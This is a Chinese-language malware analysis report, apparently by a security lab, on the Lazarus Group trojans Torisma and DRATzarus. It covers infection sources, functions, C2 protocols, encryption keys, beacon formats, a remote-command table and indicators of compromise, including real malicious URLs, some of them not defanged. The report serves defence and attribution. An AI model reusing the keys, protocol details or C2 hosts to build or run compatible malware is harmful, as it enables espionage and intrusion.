概述
在今年1月由Google披露的一起APT攻击活动中,朝鲜APT组织Lazarus对世界各国的安全研究人员进行了长期的渗透攻击。伏影实验室对该事件中出现的攻击载荷进行了深入分析,并将主体木马程序命名为STUMPzarus。
已发布的分析报告中,我们指出了STUMPzarus与Lazarus组织既往攻击工具在代码逻辑、通信格式、CnC格式等方面的高度相似性,并由此总结了Lazarus组织开发者在程序设计上的大量特征。在关联过程中,我们主要参照的Lazarus组织攻击载荷包括Torisma下载者木马和DRATzarus远控木马。
本文将对这两款出现在2020年初的木马程序进行分析和整理,作为直观展示Lazarus组织特征的一个参考。
Torisma
Torisma是一个用于从CnC获取和运行shellcode的木马程序,其设计思路和通信逻辑与STUMPzarus木马有很多相似之处,可以认为是STUMPzarus的雏形。
木马来源
与Torisma木马相关的攻击行动最早由迈克菲公司披露,并将其命名为Operation North Star(北极星行动)。
根据迈克菲报告所述,北极星行动最早在2020年1月就已经开始,Lazarus组织在该行动中投递了恶意的DOTM文件,进而释放Torisma木马。
以下页面:
http://fabianiarte.com:443/uploads/docs/bae_defqa_logo.jpg https://fabianiarte.com/uploads/imgproject/912EC803B2CE49E4A541068D495AB570.jpg https://www.fabianiarte.com/include/action/inc-controller-news.asp |
被发现携带恶意的DOTM格式文件与恶意的ASP文件,这些恶意文件内部的VB脚本最终释放了Torisma木马。
主要功能
该Torisma木马是典型的间谍类木马程序,主要用于下载执行恶意shellcode与获取宿主机信息。
监控宿主机驱动器数量的变化
该木马使用GetLogicalDrives函数,从卷标A开始遍历宿主机的驱动器。木马会持续记录除CDROM以外的驱动器的总数,推测该功能实际作用为检测移动硬盘或U盘的接入。
监控活动RDP会话数量的变化
该木马使用动态获取的WTSEnumerateSessionsW函数,遍历本机开启的所有RDP会话。木马会持续记录活动RDP会话的数量,推测用于在后续行为中监听新建RDP会话内容。
收集本机信息并连接CnC
该木马的CnC地址被加密保存在代码段中,使用的加密算法为VEST-32,密钥为ff7172d9c888b7a88a7d77372112d772。解密后的3个CnC为:
hxxps://www.commodore.com.tr/mobiquo/appExtt/notdefteri/writenote.php hxxps://www.scimpex.com/admin/assets/backup/requisition/requisition.php hxxps://www.fabianiarte.com/newsletter/arte/view.asp |
木马使用一个0~5区间的随机数来选择使用哪个CnC,根据其逻辑,3个CnC被选中的概率依次为66.7%、16.7%、16.7%。
该木马会获取宿主机MAC地址,组成上线包并发送给CnC。
获取并执行CnC发送的Shellcode
Torisma木马会使用特定格式的POST请求从CnC处获取一段加密数据,解密后作为Shellcode和参数执行。
此数据的对应的解密逻辑为:
- 使用“+”替换空格;
- base64解密;
- VEST-32解密,密钥为ff7172d9c888b7a88a7d77372112d772;
- 逐位减0x1A;
- 逐位异或0x7A。
解密后的数据有以下格式:
0x0:0x4 | 0x4:0x4+dwlen | 0x4+dwlen: |
dwlen | 参数部分数据 | shellcode部分数据 |
此后,程序提取参数部分数据的前0x14字节,进行一些检查,检查方法为:
- 计算argbuf[0x0:0x8] ^ argbuf[0x8:0x10] + argbuf[0x0:0x8]
- 将计算结果与以下硬编码值作比较:
- 8A F0 DC 1B B3 A7 D0 0F
- 8A F0 DC 1B B3 A6 CF 0E
- 如果计算结果与任意硬编码值相同,则替换argbuf[0x0:0x10]为A1 CB 19 2A 3C EE E8 9A FF 1F 09 AE EC 14 19 2C,同时使用argbuf[0x10:0x14]初始化内存区。
随后Torisma运行解密获得的shellcode,并传递处理完毕的argbuf作为运行参数。
向CnC发送指定命名管道中获得的数据
与CnC连接成功后,Torisma木马启动一个新线程,读取特定命名管道“\\.\pipe\fb4d1181bb09b484d058768598b”的内容,将数据加密后发送给CnC。
此处加密逻辑与上述解密逻辑对应:
- 逐位异或0x7A;
- 逐位加0x1A;
- VEST-32加密,密钥为ff7172d9c888b7a88a7d77372112d772;
- base64加密。
由此可以推测,Torisma木马读取的命名管道应为Torisma获取的shellcode创建,该管道通信用于窃取由shellcode暴露的信息。
通信模式
Torisma木马的所有通信基于https,下述内容皆为还原后的流量格式。
上线通信
Torisma上线包构成为:
ACTION=VIEW&PAGE=%s&CODE=%s&CACHE=%s&REQUEST=%d |
其中PAGE参数项数值为宿主机MAC地址,CODE参数项数值为用作会话ID的10位随机ASCII数字,CACHE参数项包含base64编码的配置信息(包括CnC地址、MAC地址、会话ID、木马标志字符串MC0921),REQUEST参数项数值为4位随机ASCII数字。
一个由该木马发送的完整上线包示例如下:
POST /newsletter/arte/view.asp HTTP/1.1 |
其中User-Agent项使用宿主机的默认Agent字符串。
如果CnC在线,接收上线包后返回的流量中包含以下字符串:
Your request has been accepted. ClientID: {f9102bc8a7d81ef01ba} |
该ClientID为硬编码数值,不会改变。
指令获取
随后Torisma木马发送以下格式的POST请求:
ACTION=PREVPAGE&CODE=C%s&RES=%d |
CODE参数项数值为与前述相同的会话ID,RES参数项为2位随机数。
CnC会相应指令获取请求,发送加密数据给Torisma。对应解密逻辑见上文。
发送命名管道信息
同时,Torisma木马会向CnC发送指定命名管道的信息,使用的POST请求格式为:
ACTION=NEXTPAGE&CODE=S%s&CACHE=%s&RES=%d |
CODE参数项数值为与前述相同的会话ID,RES参数项为2位随机数,CACHE项为加密数据。对应加密逻辑见上文。
DRATzarus
DRATzarus是一个具有完整RAT功能的远控木马程序。DRATzarus木马展现了大量Lazarus组织的代码特征,其RAT功能部分可上溯至Lazarus组织于2017年使用的Bankshot木马,CnC地址通信协议则与Torisma木马高度相似。
基于代码的相似性,DRATzarus木马同样可以认为是STUMPzarus的雏形之一。
木马来源
DRATzarus木马最早由ClearSky披露,相关事件被称为Operation Dream Job(梦想工作行动)。根据ClearSky报告所述,梦想工作行动同样是由Lazarus组织的攻击活动,并且与北极星行动的攻击周期大致相同。在该行动的主要攻击链中,Lazarus组织通过诱饵文档的方式投递了DRATzarus木马。
基本框架
DRATzarus的第一阶段文件是x86 exe文件。该程序在运行后首先获取运行时参数并进行判断,正确的运行参数为ASCII字符串844513479。
同时,该外壳程序带有简单的对抗手段,使用包括IsDebuggerPresent、GetTickCount等方法。
验证参数后,程序解密并释放内置的第二阶段PE文件,此处解密步骤如下:
- 使用RC4算法解密硬编码数据,RC4键为F3 77 31 29 2C 00 88 EC 94 4B 5F 50 F4 07 5B EC;
- gzip解压缩。
解密完毕后获得的PE文件即为DRATzarus本体程序,外壳程序负责载入该程序。
DRATzarus本体程序为DLL文件,使用RC4加密和动态API获取的方式保护程序中字符串与函数。该样本中使用的RC4密钥为B6 B7 2D 8C 6B 5F 14 DF B1 38 A1 73 89 C1 D2 C4。
DRATzarus将config数据存放于一块长度为0x2691的内存中,并使用RC4解密后的各个字符串初始化该内存区域。该样本初始化的config数据如下:
0000h: 72 38 34 53 69 57 6C 4C 31 63 43 75 56 37 31 62 r84SiWlL1cCuV71b |
该config数据符合以下格式:
0x0:0x10 | 0x10 | 0x11:0x14 | 0x15:0x21D | 0x21D:0xA1D | 0xA1D:0x1035 | 0x1035:0x164D | 0x164D:0x1E91 | 0x1E91:0x2691 |
随机值 | 0x00 | 随机值 | 程序类型 | 程序运行目录 | CnC_1 | CnC_2 | CnC_3 | cmd程序路径 |
DRATzarus使用一个全局标记指定程序的运行模式。当标志值为0x3456时,程序以隐匿模式运行,当标志值为0x3457时,程序以记录模式运行,会将运行记录等信息保存在注册表键SOFTWARE\Microsoft\Windows\CurrentVersion\MediaConfigs中。
该注册表项的属性与值对应如下:
属性 | 值 |
Description | 加密后的config数据 |
KeyValue | config数据更新流量中内置的时间戳 |
MouseValue | config数据更新时的时间戳 |
USBValue | config更新标志位 |
该样本程序以隐匿模式运行。
主要功能
DRATzarus是功能比较完善的RAT木马,支持各种类型的文件操作、进程操作、cmd运行等RAT常规功能。
样本DRATzarus程序支持的指令码与对应操作如下:
cmdcode | action |
1 | 获取指定文件的大小和内容 |
2 | 写入至指定文件 |
3 | 写入至固定路径%TEMP%tmp*****dt.tmp |
4 | 清空并删除指定文件 |
5 | 设置指定文件的属性 |
6 | 获取目录遍历信息 |
7 | 获取驱动器卷标、容量等信息 |
8 | 执行指定cmd命令 |
9 | 使用宿主机用户令牌执行cmd命令 |
10 | 获取进程遍历信息 |
11 | 终止指定进程 |
12 | 心跳指令检测联通性 |
13 | 监控宿主机驱动器和RDP会话数量变化 |
14 | 更新程序注册表项中的内容 |
15 | 更新配置文件 |
16 | 获取程序当前的配置文件 |
17 | 自删除 |
18 | 使木马连接指定网址 |
19 | 执行指定cmd命令,并将输出保存至固定路径%TEMP%tmp*****dt.tmp |
20 | 切换至指定目录 |
21 | 获取木马运行目录 |
71 | 获取宿主机软硬件信息 |
通信模式
程序初始化完成后,向CnC发送上线信息。
上线流量
DRATzarus的上线流量样式如下:
POST /images/data/upload.asp HTTP/1.1 Content-Type: application/x-www-form-urlencoded Connection: Keep-Alive User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: www.ilhak.co.kr Content-Length: 93 Cache-Control: no-cache QI=81&YZKHQ=(null)&DPFU=1pyQ983zyOiVx+fR8pOVxu326Oc=&VOJOAI=0&JMECWW=0&LJSKLL=&TTBKGH=OUBSLTI |
其中,HTTP正文部分由7个参数与数据组成,名称与内容对应如下:
参数号 | 参数名 | 参数名长度 | 参数内容 | 参数内容长度 |
1 | 随机ASCII字符 | 2字节 | 指令号码cmdcode | 1字节 |
2 | 随机ASCII字符 | 5字节 | (null) | 6字节 |
3 | 随机ASCII字符 | 4字节 | 加密木马编号 | 28字节 |
4 | 随机ASCII字符 | 6字节 | 数据包类型标记packetmark | 1字节 |
5 | 随机ASCII字符 | 6字节 | RC4加密数据长度 | 不定长 |
6 | 随机ASCII字符 | 6字节 | RC4加密数据 | 不定长 |
7 | 随机ASCII字符 | 不定长 | 无意义随机值 | 不定长 |
参数1中指令号81代表上线指令。
参数6加密数据使用的RC4密钥与字符串解密阶段使用的密钥相同,为B6 B7 2D 8C 6B 5F 14 DF B1 38 A1 73 89 C1 D2 C4。
所有参数内容经过以下步骤加密:
- 逐位异或0xA4;
- base64转码。
此后,DRATzarus使用完全相同的格式发送后续的所有数据包。
CnC回复格式
CnC使用以下格式响应DRATzarus的POST请求:
0x0:0x5 | 0x5:0x7 | 0x7:0x10 | 0x10: |
cmdcode | packetmark | 加密数据长度 | 加密数据 |
CnC发送的加密数据对应如下步骤进行解密:
- 将密文中空格替换为”+”号;
- base64解密;
- 逐位异或0xA4;
- RC4解密,密钥为B6 B7 2D 8C 6B 5F 14 DF B1 38 A1 73 89 C1 D2 C4
IoC
Torisma md5:
634529CEF6A2FDD6C5EFEB658F43EB94
9A00EBE67D833EDB70ED6DD0F4652592
Torisma url:
http[:]//fabianiarte.com:443/uploads/docs/bae_defqa_logo.jpg
https[:]//fabianiarte.com/uploads/imgproject/912EC803B2CE49E4A541068D495AB570.jpg
https[:]//www.fabianiarte.com/include/action/inc-controller-news.asp
https[:]//www.commodore.com.tr/mobiquo/appExtt/notdefteri/writenote.php
https[:]//www.scimpex.com/admin/assets/backup/requisition/requisition.php
https[:]//www.fabianiarte.com/newsletter/arte/view.asp
DRATzarus md5:
a3de22b6a8f4f9c7f77fc3901c9763d2
42738d1824e5158a114a50bc07e12e8c
4556A30FC3F301C8C511BEC47ECDF4AA
DRATzarus CnC:
http[:]//www.ktri.or.kr/upload/mail/upload.asp
http[:]//www.ilhak.co.kr/images/data/upload.asp
https[:]//warevalley.com/support/orange_open.asp